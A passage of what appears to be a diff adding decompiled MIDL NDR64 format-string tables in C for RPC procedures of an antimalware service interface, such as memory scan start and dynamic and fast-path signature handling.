struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 2 /* 0x2 */, + &__midl_frag2219 + } +}; + +static const __midl_frag884_t __midl_frag884 = +{ +/* Struct_2516_t */ + { + /* Struct_2516_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2516_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + 0, + 0, + &__midl_frag892, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag893 + }, + { + /* Struct_2442_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_2482_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag883_t __midl_frag883 = +{ +/* *Struct_2516_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag884 +}; + +static const __midl_frag880_t __midl_frag880 = +{ +/* Proc94_ServerMpRpcMemoryScanStart */ + { + /* Proc94_ServerMpRpcMemoryScanStart */ /* procedure Proc94_ServerMpRpcMemoryScanStart */ + (NDR64_UINT32) 2883651 /* 0x2c0043 */, /* auto handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 56 /* 0x38 */, + (NDR64_UINT32) 172 /* 0xac */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag121, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag884, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag36, + { + /* arg_4 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag1288, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag874_t __midl_frag874 = +{ +/* Proc93_MpService__CMpMapsLatencyDataIterator__Clone */ + { + /* Proc93_MpService__CMpMapsLatencyDataIterator__Clone */ /* procedure Proc93_MpService__CMpMapsLatencyDataIterator__Clone */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 60 /* 0x3c */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 224 /* 0xe0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1156, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag869_t __midl_frag869 = +{ +/* Proc92_MpService__CMpMapsLatencyDataIterator__Clone */ + { + /* Proc92_MpService__CMpMapsLatencyDataIterator__Clone */ /* procedure Proc92_MpService__CMpMapsLatencyDataIterator__Clone */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2367, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag862_t __midl_frag862 = +{ +/* Proc91_MpService__CMpMapsLatencyDataIterator__Clone */ + { + /* Proc91_MpService__CMpMapsLatencyDataIterator__Clone */ /* procedure Proc91_MpService__CMpMapsLatencyDataIterator__Clone */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag938, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag855_t __midl_frag855 = +{ +/* Proc90_MpService__CMpMapsLatencyDataIterator__Clone */ + { + /* Proc90_MpService__CMpMapsLatencyDataIterator__Clone */ /* procedure Proc90_MpService__CMpMapsLatencyDataIterator__Clone */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 172 /* 0xac */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1288, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag845_t __midl_frag845 = +{ +/* *Struct_2070_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag822 +}; + +static const __midl_frag844_t __midl_frag844 = +{ +/* **Struct_2070_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag845 +}; + +static const __midl_frag842_t __midl_frag842 = +{ +/* Proc88_ServerMpRpcDynamicSignatureEnumerate */ + { + /* Proc88_ServerMpRpcDynamicSignatureEnumerate */ /* procedure Proc88_ServerMpRpcDynamicSignatureEnumerate */ + (NDR64_UINT32) 17432640 /* 0x10a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag844, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag835_t __midl_frag835 = +{ +/* Proc87_ServerMpRpcDynamicSignatureOpen */ + { + /* Proc87_ServerMpRpcDynamicSignatureOpen */ /* procedure Proc87_ServerMpRpcDynamicSignatureOpen */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1288, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag828_t __midl_frag828 = +{ +/* Proc86_ServerMpRpcRemoveFastPathSignatureFile */ + { + /* Proc86_ServerMpRpcRemoveFastPathSignatureFile */ /* procedure Proc86_ServerMpRpcRemoveFastPathSignatureFile */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag822_t __midl_frag822 = +{ +/* Struct_2070_t */ + { + /* Struct_2070_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2070_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag817_t __midl_frag817 = +{ +/* Proc85_ServerMpRpcAddFastPathSignatureFile */ + { + /* Proc85_ServerMpRpcAddFastPathSignatureFile */ /* procedure Proc85_ServerMpRpcAddFastPathSignatureFile */ + (NDR64_UINT32) 17694784 /* 0x10e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag844, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 